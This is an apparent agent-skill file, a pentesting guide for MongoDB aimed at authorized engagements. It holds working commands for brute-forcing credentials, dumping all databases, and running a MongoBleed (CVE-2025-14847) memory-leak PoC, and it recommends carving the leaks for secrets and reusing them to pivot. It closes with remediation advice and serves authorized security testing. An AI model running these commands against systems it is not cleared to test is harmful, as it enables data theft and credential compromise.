pentesting-mongodb

$npx mdskill add xalgord/xalgorix/pentesting-mongodb

- Default ports `27017/tcp` and `27018/tcp` (shard/replica members); `27019` config servers, `28017` legacy HTTP status. - Banner/`nmap` shows `mongodb` and a version like `MongoDB 2.6.9`. - Use whenever 27017/27018 is reachable — MongoDB requires **no authentication by default** and is one of the most commonly exposed databases.

SKILL.md

.github/skills/pentesting-mongodbView on GitHub ↗
---
name: pentesting-mongodb
description: Testing MongoDB document databases (default ports 27017 and 27018) for no-auth/unauthenticated access, weak credentials, database and collection dumping, predictable ObjectID enumeration, config-based auth bypass, and the MongoBleed unauthenticated memory-disclosure CVE during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- mongodb
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting MongoDB (port 27017)

## When to Use
- Default ports `27017/tcp` and `27018/tcp` (shard/replica members); `27019` config servers, `28017` legacy HTTP status.
- Banner/`nmap` shows `mongodb` and a version like `MongoDB 2.6.9`.
- Use whenever 27017/27018 is reachable — MongoDB requires **no authentication by default** and is one of the most commonly exposed databases.

## Quick Enumeration
```bash
# All default mongo NSE scripts (info + brute check)
nmap -sV --script "mongo* and default" -p27017 <IP>
nmap -n -sV --script mongodb-brute -p27017 <IP>     # checks if creds are needed

# Native client
mongo <IP>:27017
mongosh "mongodb://<IP>:27017"
```
```python
# pymongo quick info
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
print(c.server_info())
print(list(c.list_databases()))
```

## Critical: Checks Most Often Missed
- **No-auth / unauthenticated access** — the #1 miss. By default mongod accepts connections without credentials; `admin` is a common DB.
  - How to CONFIRM: `mongo <IP>:27017` connects and `show dbs` lists databases without prompting; `nmap --script mongodb-brute` reports "No authentication needed". Shodan: `"mongodb server information" -"partially enabled"` = fully open.
- **Weak / default credentials** — if auth is on, brute force common pairs.
  - How to CONFIRM: `mongo <db> -u admin -p <pass>` connects, or `nmap --script mongodb-brute` finds valid creds.
- **Config-based auth bypass (local root)** — `noauth = true` (or missing `auth = true`) in `mongodb.conf`/`/opt/bitnami/mongodb/mongodb.conf`; if you have root on the host you can flip it and log in.
  - How to CONFIRM: `grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v '^#'` shows it enabled.
- **Predictable ObjectID enumeration (IDOR)** — 12-byte ObjectIDs encode timestamp + machine id + process id + incrementing counter, so adjacent records are guessable in apps that expose them.
  - How to CONFIRM: dissect an `_id` (first 4 bytes = unix time); use `mongo-objectid-predict` to generate likely next IDs and test them.
- **MongoBleed (CVE-2025-14847) — unauthenticated heap memory disclosure** — MongoDB 3.6–8.2 with the **zlib network compressor** enabled trusts an attacker-supplied `uncompressedSize` in `OP_COMPRESSED`, leaking uninitialized heap (creds, tokens) pre-auth on 27017.
  - How to CONFIRM: `db.adminCommand({getParameter:1, networkMessageCompressors:1})` shows `zlib`; the public PoC `python3 mongobleed.py --host <IP>` returns leaked bytes.

## Workflow

### Step 1: Enumerate
```bash
nmap -sV --script "mongo* and default" -p27017 <IP>
mongo <IP>:27017 --eval "db.version()"
mongo <IP>:27017 --eval "db.adminCommand({getParameter:1, networkMessageCompressors:1})"  # MongoBleed check
```

### Step 2: Authenticate (no-auth, default/weak creds, brute force)
```bash
mongo <IP>:27017                                   # try unauthenticated
mongo <HOST>:<PORT>/<DB> -u <user> -p '<pass>'     # with creds
nmap -n -sV --script mongodb-brute -p27017 <IP>
hydra -L users.txt -P passwords.txt mongodb://<IP>
nxc mongodb <IP> -u users.txt -p passwords.txt
```

### Step 3: Exploit / Extract (dump databases + collections)
```javascript
// In the mongo shell
show dbs
use <db>
show collections
db.<collection>.count()
db.<collection>.find()                 // dump the collection
db.current.find({"username":"admin"})  // targeted lookup
```
```python
# Full dump via pymongo when admin access is available
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
for d in c.list_database_names():
    for coll in c[d].list_collection_names():
        for doc in c[d][coll].find():
            print(d, coll, doc)
```
```bash
# MongoBleed memory disclosure (pre-auth) when zlib compressor is enabled
python3 mongobleed.py --host <IP> --max-offset 50000 --output leaks.bin
```

### Step 4: Post-access / privilege escalation / pivot
- Dump user collections / app secrets and reuse credentials against web apps, SSH, and other databases.
- With host root and `noauth=true`, restart-free login gives full DB access.
- ObjectID prediction enables IDOR against any app endpoint that takes a Mongo `_id`.
- Carve MongoBleed output (`leaks.bin`) for credentials, API keys, and session tokens leaked from other connections / `/proc` / WiredTiger cache; repeat with varied offsets to aggregate secrets.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **No-auth default** | mongod accepts connections without credentials unless `auth`/`security.authorization` is enabled. |
| **admin database** | Default administrative DB; presence of privileged users indicates auth is configured. |
| **ObjectID structure** | 12 bytes = 4-byte timestamp + 3-byte machine id + 2-byte PID + 3-byte counter (predictable). |
| **OP_COMPRESSED / zlib** | Wire-protocol compression abused by MongoBleed to over-allocate and leak heap. |
| **MongoBleed (CVE-2025-14847)** | Unauthenticated heap memory disclosure on 27017 when zlib compressor enabled. |
| **noauth config** | `noauth=true` / missing `auth=true` in mongodb.conf disables authentication. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **mongo / mongosh** | Native shell for connecting, enumerating, and dumping collections. |
| **pymongo** | Scriptable client for server info and full database dumps. |
| **nmap NSE** | `mongodb-info`, `mongodb-databases`, `mongodb-brute`. |
| **Metasploit** | `scanner/mongodb/mongodb_login` and related auth modules. |
| **netexec (nxc)** | `nxc mongodb <IP> -u .. -p ..` for auth/spraying. |
| **mongo-objectid-predict** | Generate likely next ObjectIDs for IDOR enumeration. |
| **mongobleed.py** | PoC for CVE-2025-14847 unauthenticated memory disclosure. |

## Common Scenarios
### Scenario 1: No-auth → full dump
`mongo <IP>:27017` connects without credentials. `show dbs` lists application databases; iterating collections with pymongo exfiltrates user records and secrets.

### Scenario 2: ObjectID IDOR
An app exposes Mongo `_id` values in URLs. Using `mongo-objectid-predict`, the tester guesses adjacent ObjectIDs and accesses other users' documents through the app.

### Scenario 3: MongoBleed credential leak
A 27017 instance has zlib compression enabled and a vulnerable version. The PoC repeatedly probes `OP_COMPRESSED` with oversized `uncompressedSize`, leaking heap fragments containing another tenant's credentials, all pre-authentication.

## Output Format
```
## MongoDB Finding

**Service**: MongoDB
**Port**: 27017/tcp (MongoDB 4.4)
**Severity**: Critical
**Finding**: Unauthenticated MongoDB exposing all databases
**Evidence**:
  - `mongo <IP>:27017` connected with no credentials
  - show dbs -> admin, config, app_prod (users collection: 12,400 docs)
  - db.app_prod.users.findOne() -> bcrypt password hashes + emails
**Impact**: Full unauthenticated read/write access to all stored data, enabling mass data theft and tampering.
**Recommendation**:
  1. Enable authorization (`security.authorization: enabled`) and create least-privilege users.
  2. Bind to localhost / private interfaces and restrict 27017-27018 by firewall.
  3. Disable the zlib network compressor or patch to address CVE-2025-14847.
  4. Avoid exposing predictable ObjectIDs in application interfaces.
```

More from xalgord/xalgorix